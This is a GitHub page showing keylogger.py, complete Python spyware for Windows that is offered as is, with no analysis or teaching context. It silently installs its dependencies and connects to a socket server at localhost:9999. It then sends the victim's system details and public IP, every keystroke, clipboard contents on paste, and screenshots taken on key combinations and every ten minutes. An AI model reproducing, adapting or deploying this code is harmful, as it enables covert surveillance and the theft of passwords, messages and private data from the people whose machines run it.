-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.py
More file actions
138 lines (121 loc) · 4.34 KB
/
keylogger.py
File metadata and controls
138 lines (121 loc) · 4.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import subprocess
import sys
import importlib.util
# List of required libraries
required_libraries = ['pynput', 'Pillow', 'requests', 'pywin32', 'psutil']
# Function to install missing libraries
def install_libraries(libraries):
for lib in libraries:
if importlib.util.find_spec(lib) is None:
try:
subprocess.check_call([sys.executable, "-m", "pip", "install", lib])
except Exception:
pass
install_libraries(required_libraries)
from pynput import keyboard
import socket
import win32clipboard
from PIL import ImageGrab
import sched
import time
import io
import platform
import requests
import threading
import psutil
# Define the server address and port
serverHost = 'localhost'
serverPort = 9999
# Create a TCP/IP socket
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientSocket.connect((serverHost,serverPort))
keys_pressed = set()
count = 1
text = ""
iteration_screen_with_sec = 600
info =dict()
def screenShot(name):
global count
im = ImageGrab.grab()
with io.BytesIO() as output:
im.save(output, format="PNG")
screenshot_data = output.getvalue()
clientSocket.sendall(b'screenshot_name')
time.sleep(1) # Allow time for the server to prepare
clientSocket.sendall(f'{name}{count}.png'.encode())
clientSocket.sendall(screenshot_data)
time.sleep(1)
clientSocket.sendall(b'Done')
count += 1
def get_system_info():
global info
system_info = ''
info['Hostname']= socket.gethostname()
info['IP Address']= socket.gethostbyname(info['Hostname'])
info['Processor'] = platform.processor()
info['Operating System'] = platform.system()
info['Version'] = platform.version()
info['Machine Info'] = platform.machine()
info['Public IP Address'] = requests.get('https://api.ipify.org').text
info['MAC Address To Wi-Fi'] = psutil.net_if_addrs()['Wi-Fi'][0].address
info['MAC Address To Ethernet'] = psutil.net_if_addrs()['Ethernet'][0].address
for key,value in info.items():
system_info += f'{key} : {value}\n'
clientSocket.sendall(b'system_info')
clientSocket.sendall(system_info.encode())
get_system_info()
def keyPress(key):
global text ,count
print(key)
try:
if key == keyboard.Key.enter:
clientSocket.sendall('\n'.encode())
clientSocket.sendall(text.encode())
text=''
elif key == keyboard.Key.tab:
text += '\t'
clientSocket.sendall('\t'.encode())
elif key == keyboard.Key.space:
text += ' '
clientSocket.sendall(' '.encode())
elif key == keyboard.Key.print_screen:
screenShot('screen')
elif key == keyboard.Key.backspace:
clientSocket.sendall(b'backspace')
text = text[:-1]
elif key == keyboard.KeyCode.from_char('\x16') :
win32clipboard.OpenClipboard()
pastedData = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
clientSocket.sendall(b'paste')
clientSocket.sendall(pastedData.encode())
elif key == keyboard.Key.cmd:
keys_pressed.add('cmd')
elif key == keyboard.Key.shift:
keys_pressed.add('shift')
elif key.char == 'S':
keys_pressed.add('S')
elif key == keyboard.Key.esc:
return False
else:
char = key.char
if len(char) == 1:
text += char
clientSocket.sendall(char.encode())
if 'cmd' in keys_pressed and 'shift' in keys_pressed and 'S' in keys_pressed:
screenShot('screen')
keys_pressed.clear()
except Exception:
pass
def scheduleScreenshots():
screenShot('screenshot')
scheduler.enter(iteration_screen_with_sec, 1, scheduleScreenshots) # Schedule the next screenshot
def startScheduler():
scheduler.enter(0, 1, scheduleScreenshots)
scheduler.run()
scheduler = sched.scheduler(time.time, time.sleep)
# Threading
scheduler_thread = threading.Thread(target=startScheduler)
scheduler_thread.start()
with keyboard.Listener(on_press=keyPress) as listener:
listener.join()